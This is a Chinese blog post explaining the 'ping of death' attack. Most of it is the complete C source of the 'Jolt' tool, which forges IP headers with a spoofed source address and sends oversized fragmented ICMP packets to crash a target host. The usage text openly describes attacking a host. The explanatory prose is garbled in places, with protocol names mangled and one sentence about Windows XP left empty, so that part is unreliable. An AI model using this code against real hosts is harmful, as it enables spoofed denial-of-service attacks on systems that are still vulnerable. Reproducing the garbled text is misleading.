用C语言实现死亡之ping

Ping of death(CA199260(或 Ping O death,国内有的译作“死亡之Png”)攻击利用协议实现时的漏洞CvE199028,向受害者发送超长的Ping数据包,导致受害者系统异常。根据TCPP规范RFC791要求,数据包的长度不得超过65535字节,其中包括至少20字节的包头和0字节或更多字节的选项信息,其余的则为数据。而 Internet控制消息协议CMP是基于P的,CMP包要封装到P包中?CMP的头有8字节
RFC792],因此,一个ICMP包的数据不能超过65535-20-8=65507字节。如果攻击者发送数据超过65507的Pig包到一个有此漏洞的受害者,则由于Ping包封装到IP包以后,总的数据量超过了P包长的限制,则数据包会经过分片。当数据包分片到达受害者系统时需要进行重组,在重组超过65536的P包时,受害者系统出现异常,可能导致系统崩溃、死机、重启等。事实上,对于有的系统,攻击者只需向其发送载荷数据超过400字节的Ping包就可以达到目的 Strother0,而不必使数据超过65507。
但是,如果直接用系统中提供的Png命令发送这么大的数据会怎么样呢?在Linux下,我们会看到如下的命令输出:

#ping -c 1 -s 65535 192.168.0.1

Error:packet size 65535 is to large.Maximum is 65507

说明 Linux只允许发送数据载荷不超过65507的Ping消息。

在 WindowsXP下会看到

那么是否就没办法了呢?下面的代码可以实现完成发送数据载荷大于65500的ping消息(在red hat linux7 内核版本2.4.7-10下调试通过)

/* Yah this is for linux, but i like the BSD ip header better then linux's */
#define __BSD_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char **argv)
{
	int s,i;
	char buf[400];
	struct ip *ip = (struct ip *)buf;
	struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
	struct hostent *hp, *hp2;
	struct sockaddr_in dst;
	int offset;
	int on;
	int num = 5;

	if (argc < 3) {
		printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
		printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
		printf("\tdstaddr is the host your attacking\n");
		printf("\tsaddr is the host your spoofing from\n");
		printf("\tNumber is the number of packets to send, 5 is the default\n");		printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");
		printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
		exit(1);
	}
	if (argc == 4) num = atoi(argv[3]);
    for (i=1;i<=num;i++) {
	on=1;
	bzero(buf, sizeof buf);

	if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
		perror("socket");
		exit(1);
	}
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
		perror("IP_HDRINCL");
		exit(1);
	}

	if ((hp = gethostbyname(argv[1])) == NULL) {
		if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
			fprintf(stderr, "%s: unknown host\n", argv[1]);
			exit(1);
		}
	} else {
		bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
	}
	if ((hp2 = gethostbyname(argv[2])) == NULL) {
		if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
			fprintf(stderr, "%s: unknown host\n", argv[2]);
			exit(1);
		}
	} else {
		bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
	}
	printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
	ip->ip_v = 4;
	ip->ip_hl = sizeof *ip >> 2;
	ip->ip_tos = 0;
	ip->ip_len = htons(sizeof buf);
	ip->ip_id = htons(4321);
	ip->ip_off = htons(0);
	ip->ip_ttl = 255;
	ip->ip_p = 1;
	ip->ip_sum = 0;                 /* kernel fills in */
	dst.sin_addr = ip->ip_dst;
	dst.sin_family = AF_INET;
	icmp->type = ICMP_ECHO;
	icmp->code = 0;
	icmp->checksum = htons(~(ICMP_ECHO << 8));
	for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
		ip->ip_off = htons(offset >> 3);
		if (offset < 65120)
			ip->ip_off |= htons(0x2000);
		else
			ip->ip_len = htons(418);  /* make total 65538 */
		if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
					sizeof dst) < 0) {
			fprintf(stderr, "offset %d: ", offset);
			perror("sendto");
	}
		if (offset == 0) {
			icmp->type = 0;
			icmp->code = 0;
			icmp->checksum = 0;
		}
	}
	close(s);
	usleep(30000);
    }
	return 0;
}

 

  • 0
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值